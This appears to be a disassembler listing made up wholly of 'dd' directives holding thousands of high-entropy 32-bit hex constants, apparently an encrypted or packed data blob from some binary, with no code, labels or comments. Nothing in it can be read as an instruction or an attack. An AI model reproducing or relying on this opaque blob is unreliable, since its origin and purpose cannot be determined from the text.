		dd 0D3C7D7B3h, 7D19CE21h, 0C6F6E3Ah, 5E86C5B8h,	10578A26h
		dd 1C9F61AEh, 474371DEh, 87B1BB15h, 0B2D5F42Eh,	58600015h
		dd 0D966A6C4h, 2691019Ch, 9A6FBB3Bh, 0C5B12BCCh, 6E3DFDEAh
		dd 10B40180h, 126D652Ch, 0E6F88BBFh, 85BB39D1h,	248E924h
		dd 4AED9F88h, 0D7FCE220h, 3F846C9Ah, 0A1C6EB63h, 0EDB8BD53h
		dd 2EE3E6E3h, 3DA7CC16h, 0ADFC48B0h, 56780917h,	0C2FBE2C5h
		dd 3D576E4Fh, 0F5FA8058h, 0CA5ED4D2h, 6C9894Fh,	98FF203Bh
		dd 2D003864h, 5CDF407Bh, 36A654h, 0ECEFC6ABh, 0E6AE296Ch
		dd 0D28C874Bh, 0D1951009h, 0D8259E04h, 48BA97E5h, 0D720AD56h
		dd 12C1749Dh, 2B6D896h,	0D8FE663Fh, 0F4DE3F3Ah,	0A1950112h
		dd 0DA4A29EDh, 0C215C881h, 18D59E60h, 9EF8159h,	38E6FC12h
		dd 60404AD1h, 2845DBBAh, 45F53563h, 5B7218h, 0EA2FDAF3h
		dd 3F61724Dh, 7F8711h, 96AA6FCBh, 1A085D9Ah, 0BB0450FAh
		dd 13C4242Ah, 0C8D36EE8h, 5600C201h, 0B895075Bh, 3805AEC6h
		dd 0B29FF7A2h, 44DF2C5Ah, 0D243B850h, 5B4CC8FEh, 0F46E585Fh
		dd 0D5553A00h, 45BD0B37h, 4EF7314Ah, 32F4E05Fh,	0A3F95582h
		dd 356C3880h, 0CDF67Ah,	6B691B77h, 0DF019F4Ah, 0B1A0171Fh
		dd 0B8CDD967h, 12DA20CBh, 0F1B565D1h, 0C7118906h, 96BCA76h
		dd 6DB12B6Dh, 0D5E9C0D0h, 0CC901ED3h, 0DBAAE6C9h, 181B5916h
		dd 96ED01DBh, 0CDE301FBh, 3B8E3382h, 87C5AE3Fh,	35E14C00h
		dd 448095Dh, 0BD89F0A1h, 5B8891E9h, 0B26E3E61h,	0D0360077h
		dd 70F61C8h, 2FE59159h,	17802A2Ch, 0FFF9FAF3h, 0E9369A69h
		dd 619030F3h, 0DA4F8AF0h, 0FC9D1082h, 93E99495h, 466BFE93h
		dd 7A1E9CE4h, 0D9E0165Ah, 87D8822Bh, 25141497h,	513D047Dh
		dd 83B39D05h, 4E52DF2Ch, 0A0C4E704h, 9559C083h,	1D91E735h
		dd 134DC580h, 0F902AAC8h, 740C2E5Ch, 6FED7FFCh,	0EE677B68h
		dd 0DCCFC7C0h, 607E27E4h, 598823D3h, 11B2321Ah,	0D35ECF21h
		dd 6BF895F5h, 5A751D6Dh, 0E94616E2h, 585E0BC3h,	58F3A961h
		dd 32F39F94h, 2515F5D8h, 1218B01Dh, 0B1259D0Bh,	0E467ED21h
		dd 209E601Bh, 2ECF05ECh, 0F0A7A07Dh, 0BD95DEACh, 57C88EEEh
		dd 3D39F3Fh, 5F7CEC96h,	15E8BF8Bh, 0A9229C6h, 0D8645BBDh
		dd 0B700F927h, 0EEA9FD0Fh, 1C935BFh, 94BB5CDBh,	2F750C26h
		dd 0D8B76461h, 2510A6F8h, 0DA7B356Bh, 19181D59h, 0EB67F49Fh
		dd 71C9415Ch, 285D2460h, 0ADD27E2h, 4229AE39h, 720905E6h
		dd 3FFA454Ch, 791BB209h, 5BED6B42h, 7D847142h, 0B309AF5Bh
		dd 7D95FFC6h, 589B8A42h, 0D5714BB4h, 7E6FAEFEh,	8763AD4Bh
		dd 137EBD09h, 2E9129FEh, 7BEA9720h, 0DC890077h,	0A0B30308h
		dd 0E8BC617Dh, 50875BE9h, 505B6F68h, 77046C20h,	2ACF0348h
		dd 763F0CA7h, 2E8880AFh, 979056E0h, 5ED21AB3h, 0EFAEBFC6h
		dd 22730AEDh, 37594977h, 94E8F03h, 0E32DC05Bh, 6C9E0099h
		dd 38961863h, 0ECB52F9Fh, 0FC8C4BE0h, 8ADA171h,	956DB22Eh
		dd 6FBC29h, 9B722F92h, 6DE0AB88h, 27504C59h, 0E27EFE96h
		dd 7417D2Bh, 0F8EA1005h, 51A82E8Ch, 66BD60EDh, 0CA004FE6h
		dd 32DA3CF9h, 7685D9F1h, 4AEA0884h, 5BC13A78h, 6E3B965Fh
		dd 7BA80F82h, 0B13BA0BDh, 0B788D11Fh, 0DB4C874Eh, 6C8C4B83h
		dd 6B9158BBh, 27165B29h, 3210F5D6h, 1328C4Bh, 225BB9F8h
		dd 778B13A3h, 4BF63C7Eh, 3823A1BAh, 0EAF94F20h,	27602AADh
		dd 52157BEh, 62B9631Bh,	134D6FC6h, 0BBFC5703h, 8282BC97h
		dd 575F4467h, 0B5B54D9Eh, 0C74700A0h, 0F4541A94h, 0CFE29C04h
		dd 85EA61E9h, 0C0579B67h, 0BF673366h, 787116F9h, 0C708EE46h
		dd 75DE2729h, 1175BD04h, 0E5D9B6EEh, 0B7C93E9Ch, 3A50B961h
		dd 0B265B921h, 9FFC45E0h, 246111F6h, 0E13BC059h, 0DA14C33h
		dd 2D28F73Eh, 0BEA670D4h, 0D29840E4h, 0C524BB79h, 0B400E167h
		dd 45D1725Dh, 0AAC30963h, 0A00B76A2h, 0F4A573DCh, 38D7DE02h
		dd 0A0BC91B9h, 0FB6A1C27h, 48857826h, 0BF35C2A0h, 0B6ED0B4Ah
		dd 14036ABCh, 53E3DF2Dh, 0F60D0BFh, 63AD9E81h, 140121DEh
		dd 0F0F809C3h, 72F616Ch, 359D23DDh, 0FB57E424h,	6B71A6AAh
		dd 0A9B0FD27h, 5B3B1FDBh
		dd 122C9E5Eh, 731E7402h, 0A4535DF4h, 9D16678h, 0BEB7851h
		dd 98CB89FDh, 4BD98B77h, 605ACD5Bh, 1E4A7D27h, 893B66F7h
		dd 8B4EA9A6h, 9A7CD1FFh, 169C05DCh, 0BC844966h,	0FE2D2D2Eh
		dd 2E747192h, 0FBD348DEh, 0E3FA9684h, 32A75895h, 7402FD1Ch
		dd 0E032432Bh, 8436E9C8h, 0C2C25D2Eh, 2F076D08h, 0E554AC58h
		dd 6004909Ah, 0E1BB966h, 6BE780AEh, 2E5FDC3Dh, 19C003FCh
		dd 2813ADEEh, 2717EC05h, 0BBF2962h, 38B05B93h, 0EF3DE781h
		dd 0E916895Eh, 0C2FD71C7h, 0D609BF3Fh, 6100DCAEh, 0BBAB919Bh
		dd 65F855FFh, 0ED2BD1E1h, 0A3E84Ah, 0B813FDE9h,	3A3D33A4h
		dd 0E4981A90h, 731E075Bh, 57E9EDD6h, 806FDAD7h,	6C209B7h
		dd 0D52D009Ah, 81B2993Fh, 0C10C82D7h, 6C5052ACh, 0AA1B4975h
		dd 391B6E4Bh, 16FE807Fh, 0EA7E2040h, 27875A36h,	2314A005h
		dd 7103D46Bh, 12CC09F9h, 0E4EFCCAFh, 53B55B45h,	0EB81805Ah
		dd 2ADB207Dh, 0E5011790h, 9D096182h, 292F1979h,	80D43844h
		dd 569A99D7h, 0BD7800E3h, 6B5BBAB3h, 3094F4CCh,	0DBCD1240h
		dd 757E0085h, 0FF08A8ADh, 680B4D58h, 555BDD31h,	6AFA5C30h
		dd 0F01E26F3h, 2752E77h, 7A31ADDh, 0CCF70AEDh, 7FDF0591h
		dd 0C1449A0Dh, 3F298574h, 58BCA2EDh, 0BF914701h, 0EA87BCB3h
		dd 0CB47817Eh, 90B33A61h, 22D05089h, 0F053812Eh, 0B302B01Ch
		dd 4070E6DCh, 801A8DF5h, 90971E4h, 792CADBDh, 49169A24h
		dd 1B1293F6h, 0F52D1EF2h, 256089D1h, 79E90CB9h,	75A800F0h
		dd 0A4A5EA37h, 0A905904Eh, 9CCB803Bh, 97721BAh,	9E200D1Bh
		dd 0FC1E5F2Dh, 604D3CDh, 50ACC82Bh, 8170F05Ah, 13FCF348h
		dd 12F7C6E9h, 43D59904h, 0A57C8047h, 4D0BA4D2h,	7429317Ch
		dd 4418207Dh, 4100FF0Ch, 34F26920h, 2750F478h, 645615F7h
		dd 0B0385BACh, 0CB819305h, 0C4714B5Ch, 101D923h, 6A2C49A6h
		dd 242795A3h, 1D402D66h, 416D50E9h, 7EBB8914h, 0EEC22FF7h
		dd 395E44EFh, 61F35364h, 3B5A662h, 8CD55975h, 0F5213784h
		dd 5137B297h, 0C61400F7h, 9BEEDF42h, 67F6040Ch,	9D01CCE0h
		dd 5DADCB5Bh, 5BE31390h, 0D8341200h, 2B7F681Bh,	0C64EB76Bh
		dd 540B4025h, 0B500DE3Dh, 8EA95D15h, 162259Ah, 0C78133AFh
		dd 3163888Fh, 739B2A61h, 0CA3EA8C0h, 0BC025402h, 0FB707CD6h
		dd 75E58553h, 0EC6A7EA1h, 0BF57C014h, 9642923h,	0C0B95B7Ch
		dd 913730ABh, 0CB738380h, 2A2F699h, 0BD317ECAh,	32DD15A1h
		dd 77BD5A4h, 0BA5A5752h, 4F315095h, 80AADBFCh, 0DA089DF2h
		dd 2D037536h, 4DE80131h, 87B209B5h, 0C0115B74h,	0C41308E9h
		dd 0D7C9EAE3h, 9E69D2FDh, 2FAE7B8h, 0CBFC3E06h,	7A841070h
		dd 0A77B9559h, 5DB52960h, 5BD4820Ah, 7ABACC09h,	0FF5397C3h
		dd 27774278h, 0D7D3F5C6h, 0EC181859h, 1DE41109h, 395109h
		dd 297BF4B1h, 0A4007A93h, 0BB7D0B75h, 4670699h,	0A26EEF0h
		dd 0D309E854h, 80B03EFFh, 0BC489E9Dh, 6CBA094Ah, 5EF124BFh
		dd 0F2C10E01h, 0D5ECABDCh, 12CF38A0h, 0B2206401h, 33E6505Dh
		dd 8C6112A4h, 2B773000h, 135BA6A3h, 164A36F7h, 4BC0F927h
		dd 9D352CCAh, 0CCDBEF3Ch, 89279ACEh, 0A5850579h, 0F4E67EBAh
		dd 899326F0h, 0B5312004h, 0A6AA190Dh, 73EAE56Ch, 2A787A9h
		dd 596DE1FFh, 0DE8FABE0h, 0F65C1E21h, 4F0E890Fh, 30915882h
		dd 25361C5Dh, 0B5EF031Ah, 0D542D440h, 61B17FEh,	0A31E0401h
		dd 0A341E89Fh, 0BB590202h, 59DD704Ah, 0BA504074h, 0CD109F02h
		dd 604E1524h, 0D625516Eh, 59913185h, 0A5BD0CCDh, 0ED43E26Dh
		dd 0FF0DC2D2h, 0D5DE3277h, 7295E2E6h, 7B13FEFBh, 0C7618476h
		dd 0EEB8045h, 0F590322Eh, 7E694574h, 25031056h,	0DE601090h
		dd 133700B4h, 9A4CBBBAh, 580746CBh, 5B52243Ah, 3EED461Bh
		dd 6F962522h, 0F6F964A3h, 0EEC5ADCh, 59122527h,	0A04E927Eh
		dd 1C26E8C3h, 80681D45h, 0C41856FEh, 0F36BC2Ch,	5303FD7Fh
		dd 8D4A75B8h, 9DDE41B0h, 0B5A66A16h, 1DD770F5h,	9D0252C2h
		dd 1EE998A8h, 0F4977601h, 75034A00h, 0F5321690h, 0B4FA279Ah
		dd 56250D46h, 0B724FF89h, 0C1E7BC5Bh, 5ED8D09h,	4B48F72Ah
		dd 0F9A78894h, 2020EFA4h, 254726F5h, 807A89DFh,	55256F9Eh
		dd 2924A035h, 0C7CDC6E0h, 0BB6609BAh, 0C978EB6Dh, 0C9437C94h
		dd 0A203B891h, 2FDE00D5h, 0C21F4CAEh, 0BF17BDCCh, 2A905096h
		dd 5B498D89h, 0C0A2FD1Eh, 1D3EDF81h, 682F02CFh,	3B22A03Fh
		dd 0A3C01648h, 29093D77h, 7B06A98Dh, 0B576AF34h, 333B1B10h
		dd 5025A130h, 0E41760BFh, 21AB46F5h, 2B1AD138h,	0E572BF9Dh
		dd 5AAC4E00h, 96CD2F13h, 11099B77h, 81D8CB24h, 61635B4Bh
		dd 2CF07376h, 0AC25B985h, 0A7BFC5AFh, 0C3917910h, 79749012h
		dd 0E3CCE909h, 5F09FCEEh, 4245F059h, 22803ADFh,	3AE9FF99h
		dd 80A72EE1h, 8BFCD8A0h, 0AA8DE5Ah, 0FFBFC4EBh,	4B8BA2FAh
		dd 0EBCB24AEh, 0FF19B709h, 14FBE89Ch, 0FFCB768Ch, 659EE2F0h
		dd 0AA0B55A7h, 5B35C08Eh, 5543043Dh, 0FEDBBE2Ch, 0C9C018C8h
		dd 48D875BBh, 5D1390F2h, 0D06FFF10h, 0D90E675Bh, 982B159h
		dd 5C1D1995h, 0B9CCEC58h, 0DFD81A41h, 970F4A96h, 0C8DA0949h
		dd 0DCC994h, 6A82C2EDh,	1C4A56F3h, 50A24935h, 143D890Fh
		dd 0C1ABA4A0h, 2E5FFA66h, 9811C34h, 8B6B2F79h, 6E9A4AF4h
		dd 4D45409Ch, 0A0D01E93h, 64F3CDB5h, 0A0976315h, 8802800Fh
		dd 0ACB06CB3h, 0C52A7125h, 97E42D42h, 19551294h, 0FC6C1E4Ah
		dd 0E4A13CB7h, 2B1865B1h, 0B86F6213h, 4B7DDB01h, 0AF8374E2h
		dd 0ADB576B0h, 0BDD9F95Bh, 0B39D312Eh, 0D0E22AD0h, 0CC0229A8h
		dd 0C4A92332h, 5B015521h, 296AC2FEh, 1635BCE6h,	1E915F9h
		dd 0B3753792h, 0E8DA2AE6h, 50C01DC8h, 412D0Eh, 37AFE646h
		dd 0DF8010A4h, 0E781F703h, 0CDC1252Fh, 0C9C99AFBh, 8344311Bh
		dd 0E04812D0h, 0E0C24FFAh, 1F400117h, 5CBBE250h, 4F28A4FEh
		dd 9FCB9884h, 5D0050B7h, 0FF8DD14Ah, 38F9BF8Bh,	420AAE26h
		dd 54AD987Ah, 0F69DF683h, 54EC61DEh, 0E9F63F76h, 0B26C19B2h
		dd 9C85A102h, 5C6B829Dh, 143051C1h, 1D311DC1h, 0D40E9603h
		dd 0D2505D93h, 0E0E15FF6h, 82F3F4FDh, 1129F13h,	16B2C3B6h
		dd 5C632C30h, 90C0DC58h, 0F46208B5h, 1FAF523Fh,	67C09D6Dh
		dd 0FD67F7Dh, 24BB98Eh,	31BD0B52h, 7FA5477Eh, 19165C35h
		dd 0DA0218E6h, 9AF38C6h, 0ABBDC9C3h, 0E7059A9Ch, 6BC9742Eh
		dd 827E0D7Ch, 0F63F67CEh, 20DB9312h, 0DA6AB380h, 6B3F1210h
		dd 0BD2B04A5h, 0E1172725h, 2B77717Dh, 6FA948F9h, 0C0706962h
		dd 8121E9F1h, 3B942FC6h, 0B2B5C9ACh, 0ACA9038Fh, 98BE563Fh
		dd 1F7EC08h, 83E48F91h,	0F668CADCh, 0F00166E6h,	54FC81C8h
		dd 1A305B86h, 0E9FC9F9Dh, 0F3A5E904h, 0F094E6EFh, 0EC346F75h
		dd 238D024Dh, 0C18B6772h, 5C437FDh, 0FF794EBFh,	15C980DAh
		dd 0BB5E17B0h, 34D15495h, 7B14A109h, 9100676Eh,	40DF948Ah
		dd 5F300A53h, 0BD0948E8h, 0A91B5BA1h, 9734F871h, 749A77Eh
		dd 816AE82Eh, 0BCEDF02h, 87E17F06h, 0EFF36F30h,	0C82D7A64h
		dd 0F99752E2h, 8D990131h, 7ADEC3B7h, 718B0A0Bh,	82634052h
		dd 5A00F681h, 19082225h, 14FEE4Bh, 27411CC2h, 3A5482FCh
		dd 7065D3A2h, 6152ABC5h, 45CD269Bh, 0D8D64238h,	64CEEDDFh
		dd 19A9817h, 0A63C8502h, 78518D31h, 0DD6D952Bh,	0E1601464h
		dd 0D15AFFFCh, 95B14BAEh, 0CA07097Ch, 4C33A85Fh, 9F63C07Bh
		dd 80A91EA0h, 1B5CE7CFh
		dd 63777859h, 8C07CCE0h, 0FDFA90Bh, 3EFE495h, 0C3715E3Dh
		dd 0B09643B0h, 0A0EEC21Ch, 31FFD697h, 66026A15h, 0AB00F789h
		dd 1233A958h, 9EF8090h,	4C025631h, 4B74E98Bh, 59BD2382h
		dd 0CF38572Ch, 0D85AE9F8h, 649F1DF3h, 0B6ED2768h, 0CCF8AAE1h
		dd 41C37FD6h, 0AFA0065Eh, 7A3A97DEh, 7D43876h, 821518F8h
		dd 747A6033h, 8527891Bh, 42B5DE39h, 90020AE5h, 0BBECD560h
		dd 0D732B91Fh, 980F30D2h, 7F53E961h, 5B248944h,	0F82D7A90h
		dd 2BC525DCh, 29419771h, 5D1A4DBDh, 89F1A9ACh, 2A6FD3Fh
		dd 16C80EBBh, 60535C29h, 0F95FD381h, 6A4F581Fh,	0E745665Eh
		dd 0D781439Fh, 0D4691E19h, 3559BD25h, 0DE6DF12h, 92895022h
		dd 0CCB0022Fh, 1C9C7E53h, 402DA2EBh, 0A943F7DEh, 10006324h
		dd 811DBAE5h, 0F2B776C3h, 0E95B5465h, 0F7012E6h, 644D2789h
		dd 7B5EC980h, 0C0792C20h, 0D82800BFh, 481BF82Fh, 8A06D7B3h
		dd 71E404FAh, 9524F8D3h, 6701B971h, 0B5D2BC70h,	0EFFC94C9h
		dd 85CB547h, 0C8CDE992h, 0AFB9C47Bh, 0C44F12E6h, 0C18CB4A5h
		dd 9CD810BDh, 74FC00A1h, 3A7344B5h, 0EB09F52Dh,	99486D64h
		dd 7F398FD0h, 994C5F32h, 44AB5ACh, 950B6005h, 28AF221Dh
		dd 0C5208516h, 93615118h, 0F96A022Bh, 0E155C82Bh, 7A692D31h
		dd 838B1481h, 346B30F5h, 22710790h, 273AF3Eh, 0E970B3D1h
		dd 2B665F6Fh, 157F133Fh, 27770485h, 561F2961h, 0F3BB047Eh
		dd 54BC5643h, 0DEE380C2h, 0A90585Ch, 3C0A0A92h,	0BFD30912h
		dd 0F9D3E71h, 410B72E9h, 0C5885E26h, 0EFCB341Eh, 652BB9A1h
		dd 95770441h, 4F3F503h,	8423AD5Fh, 1C1D5081h, 0BC9A02EFh
		dd 0B7776A28h, 0B1038034h, 0ABB93A57h, 0D8702305h, 62AFFCF9h
		dd 6D808A3Bh, 2CD5BD2Bh, 0B271B980h, 89F8B72Fh,	87F91C5Fh
		dd 2E2076A9h, 0E038E895h, 8529FC4Bh, 0B279461h,	0B137C02Bh
		dd 0ECE49A82h, 6856D613h, 2B163BE0h, 0B8D4B9D2h, 235D0097h
		dd 11EC182h, 2FE7ED9Dh,	4CC301A8h, 37E0E2DAh, 0A239A052h
		dd 0B2E481C4h, 0F88D40D9h, 57C65FEDh, 61BBE936h, 5159F652h
		dd 27253A09h, 0A6727904h, 21F58682h, 35999501h,	0F6A2BA5h
		dd 5E271723h, 0BE98841h, 0D704DA80h, 9C1CFA5h, 80B8AFA1h
		dd 0FD13427Dh, 126065EFh, 1229A975h, 0AF1DBDB5h, 9EFE874h
		dd 1171186Ah, 506BF3DAh, 2A70FE02h, 62860C00h, 8D89ABD2h
		dd 0E8BB4ADh, 9EA2956h,	9ED8ADB3h, 671D4525h, 0AF3C12F8h
		dd 0BAE9F774h, 0A4000BB8h, 7A6346E4h, 95E53D14h, 8BDDD69Ah
		dd 0E14B49B0h, 631F047Fh, 0A797ACA4h, 7AFF0595h, 0F9421F4Fh
		dd 0BEC92C9Ch, 0E9658278h, 4FF95F1Fh, 3D05E96Eh, 0DE3C823Ah
		dd 6414D70h, 0ECFFFAFDh, 0A20206FFh, 0ECF9D11Eh, 245DF309h
		dd 45C9595Bh, 3C7CE2F1h, 67FFDAF5h, 60FBC1F5h, 8CEC6052h
		dd 2C9BD95Ah, 8ADAA481h, 3CD3AEFh, 0E2806D2Ch, 1B9D17B2h
		dd 0BB1262B8h, 0B5B4A9CDh, 0C04E0406h, 0AD5B5718h, 18310B7h
		dd 8D129948h, 0D2A4A21Ch, 0F86ABBh, 0DCDAAED5h,	976B20F3h
		dd 9ED4A5FEh, 9E63CFA7h, 56F98584h, 0F5A26A01h,	21515B27h
		dd 0D1212D00h, 0AF9E9Ah, 7325F5DFh, 0FB35EFC5h,	0DC0ABE02h
		dd 10E83C43h, 0DA00D783h, 6C23877Bh, 0F45C976h,	82A4192Bh
		dd 0BB466705h, 2D1A8B1Fh, 288E5F6Dh, 0EFBCDC55h, 83979114h
		dd 2065C3D6h, 3A8499ADh, 6FE99939h, 0A8D662A8h,	0D30100DFh
		dd 381F8C68h, 2F81956Bh, 0DE271C73h, 2EC12261h,	0B54B27BDh
		dd 3D9A2B11h, 43C215C8h, 0A09BE0DBh, 52683B3Eh,	3D2ECB07h
		dd 7172191Dh, 40236F9Dh, 9C22F12Dh, 857ED03Eh, 29DE9F5h
		dd 0ED7AAEh, 0CA744B6Fh, 17BBE210h, 0FFF9BF0Fh,	5FD13060h
		dd 0AC044272h, 97D37308h, 92BA5290h, 51A34C00h,	0F7CAB5DAh
		dd 7E3D120Fh, 9D31FFFDh, 57CAC380h, 249E6C94h, 98F439D4h
		dd 2E28C9CEh, 8B0075F8h, 60251023h, 364BE314h, 7BFFD385h
		dd 0D4D92FF9h, 4E10103Ah, 91048E8h, 0B70F072Ch,	0B2AF61CBh
		dd 92F748Dh, 3E94053Eh,	5A47D19Ch, 47B9EEA0h, 14B60038h
		dd 0E3717E69h, 9604037Dh, 1B621941h, 0FB4AD7B8h, 98EB5927h
		dd 0F25DEA5h, 0DA52C1EEh, 19E9D760h, 5917C27Ah,	4FB4E46h
		dd 0FE5BF8A0h, 595111D2h, 0C7EA01AEh, 0E4EF5841h, 20015FD2h
		dd 6FC1D527h, 206E5B40h, 113451BBh, 1E157C0Eh, 0CAFE27A2h
		dd 7D4B91FAh, 0DFC5BB0h, 6C0052EEh, 0EA13A717h,	5EE12989h
		dd 0CB42A8E8h, 6B047F5Bh, 0DB9EAA6Ah, 0AC54C0D7h, 3124A5B9h
		dd 5EBAFC10h, 50E08FA8h, 8B6EDE8Ah, 0C452EB4Bh,	17AD00A5h
		dd 7B47429Eh, 6C013EF2h, 0AC983703h, 4E3AE67Ch,	60008B9Bh
		dd 0B966D88Ah, 6E1F64Bh, 2651A2h, 0AD510C01h, 0B03FF6CCh
		dd 0AC0D8F01h, 7F58F1A3h, 0BA6F3Eh, 0ECAA2D61h,	0F05199h
		dd 0BF66D5A8h, 0B9BB3DE1h, 2E153312h, 956C8CABh, 0FE9507E4h
		dd 1470DCF3h, 0B5E908E1h, 3500CDE4h, 97385E12h,	38D45890h
		dd 0AACA508Ch, 6224F34h, 9728D061h, 0F27849FBh,	0C7DA141Bh
		dd 1D16F0F1h, 0A0BFBC22h, 4FBD89D9h, 614E09A5h,	0DDCB116Dh
		dd 5DA4B490h, 0E7B59FE6h, 0D43FAEDFh, 0A91A6307h, 0EC31BB6Dh
		dd 0A82FDEA6h, 700593E3h, 0CBFFADEFh, 22313455h, 0C4359BFAh
		dd 4BCA5521h, 6A17417Ah, 0DF2140B6h, 2574A7D7h,	77BB4105h
		dd 31C05ADBh, 0B3A13782h, 0BB20D65Bh, 15E489h, 26AF6FB6h
		dd 0F8ABE0F9h, 0DDF3E71Dh, 56AED901h, 283ABD9Fh, 6688042Bh
		dd 9E0179BBh, 8ECE3F04h, 0AFED3124h, 0E27FDC8Ah, 0EAA847h
		dd 0E0213A2Fh, 69426043h, 9D03CC04h, 520B32ADh,	0FED79018h
		dd 6A70A500h, 24355E59h, 63C525AFh, 46DC8A74h, 6D6C001Ah
		dd 0F5B02520h, 4098B410h, 9C5013D5h, 4A4E7E00h,	0A087E264h
		dd 910C12C1h, 9092FA8Bh, 0C1515F5Bh, 2F7876A7h,	95DE2B54h
		dd 9DD45632h, 0DAC1FC65h, 0CB2B3135h, 0AC8D49DEh, 8B9609BBh
		dd 0E83350F9h, 6680E8D2h, 395FA191h, 0C5B0F573h, 234BFA8Ch
		dd 0A85E35F8h, 3E5B12Eh, 5FF64B0Eh, 0C3C037A2h,	295BE5B5h
		dd 874012A7h, 9D194E25h, 4ABE6C57h, 49286AFFh, 77DAC440h
		dd 0DE0702FBh, 7FE60AEDh, 0AFBB7B01h, 41AECAF2h, 0FD812C5h
		dd 1D32090Eh, 8B75B8F7h, 0AF165EE9h, 0DAC37E4Dh, 13DE88F1h
		dd 0D8840B93h, 0B2D4880Fh, 0DC6A50h, 0A9C0B323h, 702AFCBh
		dd 1F00CBFFh, 0DC3C7B79h, 9D05C44Dh, 9362850Bh,	0F8686C5Eh
		dd 22AC3660h, 33780549h, 80D8A0Fh, 0D4830838h, 0C5A58629h
		dd 5B269EBCh, 0E4A2091Dh, 0EFB78DD0h, 0CE0B60EDh, 1C17A13Ch
		dd 0BA669AEEh, 49ACA150h, 9FF6F26Fh, 0F1CDFA17h, 82BF67Bh
		dd 2F2F49BDh, 0C3110D60h, 7F23099Dh, 3EE256CFh,	9371DFA6h
		dd 68B549A8h, 759D3173h, 6549715h, 5EDA8BC2h, 0C26F51E5h
		dd 0C03DD7h, 4D909296h,	29166030h, 5780D18Dh, 916EA81h
		dd 613F4FF9h, 7A740DD0h, 5456502Fh, 0A9B758C7h,	965B0CC4h
		dd 0E017B6EBh, 75377709h, 687314FCh, 5914C227h,	9DB0DC16h
		dd 73B52B79h, 5C84AF4Ah, 2AA8D983h, 0CAABA5D4h,	5941A01Eh
		dd 0ECBA97FBh, 4D47E7Ch, 0F9A08F2Dh, 0A3EBBC8Ah, 7ABF854Ah
		dd 343609BBh, 19EA7D1Ch, 0D700BBD1h, 8E7EDC37h,	0DEEC0221h
		dd 0F5952C20h, 0F962F05Eh, 6A4E75C6h, 2C3DC181h, 0CEE35AE7h
		dd 481F1DC4h, 44B56B46h, 358E4A00h, 3D699954h, 10732E89h
		dd 9231995h, 0FEB6CB80h, 27ED2CB3h, 45078FCh, 99673E95h
		dd 19F553A5h, 342F6161h
		dd 1BF2BBh, 7BCFFFD5h, 172453BAh, 0A31520FDh, 99350095h
		dd 0C1B2D781h, 5F7D268Ah, 0FE0BC411h, 5090F121h, 86825F68h
		dd 0EFF74C0Ch, 0B1BF8019h, 5F769A2Dh, 1D9B904Bh, 23BAEB81h
		dd 2AB77AB1h, 1207EEA5h, 0DD69E8F7h, 15D31A92h,	2FC5372h
		dd 5CD9D29h, 0BF16C65Ah, 0F6F10BDFh, 242F17EDh,	30DBA0FAh
		dd 86AC9081h, 15BB012Dh, 0E87D7333h, 0DB99529h,	0A2FBBF0Fh
		dd 5B6A242Bh, 0C175784Ch, 22AB0F5Eh, 377F6AA7h,	88FD93DAh
		dd 7100D883h, 5140ED35h, 2B5F879h, 0F40897E0h, 537D6220h
		dd 46320893h, 8B74B3DCh, 0CD06A187h, 262754FAh,	0F375576h
		dd 5CBF1481h, 270B3234h, 29B2115Dh, 5F5302C2h, 7813535Dh
		dd 51072B1Dh, 0EF477632h, 0F39BBF90h, 12024E6Eh, 0BD46F9Dh
		dd 32E3680Fh, 735E60ECh, 87EDB51Fh, 93DFC908h, 0B57E308Eh
		dd 94BE0AF1h, 7B1F2DBBh, 92FDA77Ah, 79D1DF63h, 0BF26011Fh
		dd 1F160717h, 0DECFF30h, 48D8003Bh, 3F93FC26h, 0BB0F9D77h
		dd 0E35763F9h, 1343DDB4h, 0BA5F52FFh, 1623A06Eh, 49C12704h
		dd 0F889BEBDh, 0F6A79879h, 0D1CC3CB7h, 0B5C98D17h, 783B788Fh
		dd 129F7158h, 7ABF1CF1h, 352512EDh, 6FE28980h, 45CAA08Ah
		dd 0E86122FDh, 0EE0088E0h, 74C66E2Eh, 0BF79287h, 3301AB67h
		dd 0DDEB9AF7h, 0D6731189h, 0D0490A11h, 154E0493h, 88DCBC17h
		dd 9076A70Ch, 34913A80h, 30A637D1h, 0B6EE81E7h,	0E6265F4Ah
		dd 0BD1AF070h, 26E35541h, 181575B9h, 9D4A8ACEh,	0BB01A85Ch
		dd 52AD4749h, 9AD202Fh,	1242D9BDh, 942BF172h, 234FF44h
		dd 810195B8h, 0B2693AC7h, 85B27A2Dh, 0D8989148h, 2B801F0Dh
		dd 88E87BC8h, 8803A776h, 69BF8737h, 43365A60h, 615B539Fh
		dd 80D1A097h, 0F512B3D7h, 7CC86EE9h, 3807B8DBh,	0E0DA4C44h
		dd 0D399E1B2h, 140E48BAh, 700910A1h, 5D25BB04h,	8DBD2E28h
		dd 0DD9A0C22h, 0FFE93240h, 0F3F91792h, 0E186648Fh, 4FEF7EFh
		dd 5499D03h, 0A586BCh, 161CEB1Fh, 8C1A12BBh, 116A2D05h
		dd 0FC2B8D5Ah, 0FFF2A35Eh, 405A2C9h, 143D77A2h,	0B2605300h
		dd 475489Dh, 0E58D31D7h, 4E9CEE29h, 2C87510Fh, 0B9C8812Bh
		dd 0D453EEC6h, 120ED9D0h, 4EDE114h, 0AFDA4E53h,	0ADFD3920h
		dd 10C7D60h, 6404F117h,	4143ECF4h, 2F88E891h, 316FC016h
		dd 0E72A8F00h, 6123BF15h, 0FC36BC1Ch, 0A51E2D64h, 0E4C3E7E5h
		dd 7207601Ch, 0A3690223h, 8F5385Ch, 95D02DDh, 25170A18h
		dd 613A2DDAh, 0FED2B3F9h, 93BCE4B1h, 0ABB68CF4h, 8AF813BEh
		dd 0C6C1B787h, 77292F2Bh, 2FB16A3Eh, 907F8F5Dh,	8539205Eh
		dd 0B60001E4h, 3E9505B3h, 3C68312Dh, 293F8825h,	0E9261197h
		dd 8C18BC32h, 6C124305h, 74AF1DD7h, 0A801A993h,	0F4813CCh
		dd 0E5A8628Dh, 45F5FCCAh, 48ECDA89h, 79854A5Bh,	0A176FBCh
		dd 0E042A6AEh, 720C3028h, 0AEBC00D6h, 9BFD0E3h,	224BCD9Dh
		dd 8A35B9CEh, 3DDBAF3Eh, 9FA494C0h, 0F00498FBh,	0FC8D7CE9h
		dd 5DD18Ch, 5592ED1Fh, 502827FDh, 2569B03h, 8CE71C68h
		dd 0F6A4D9ABh, 418D8440h, 0DC210C41h, 1AB1DD2Ah, 0D7A8D7ADh
		dd 0E1FFDE02h, 442013E9h, 313712h, 0C739F192h, 30FADEE6h
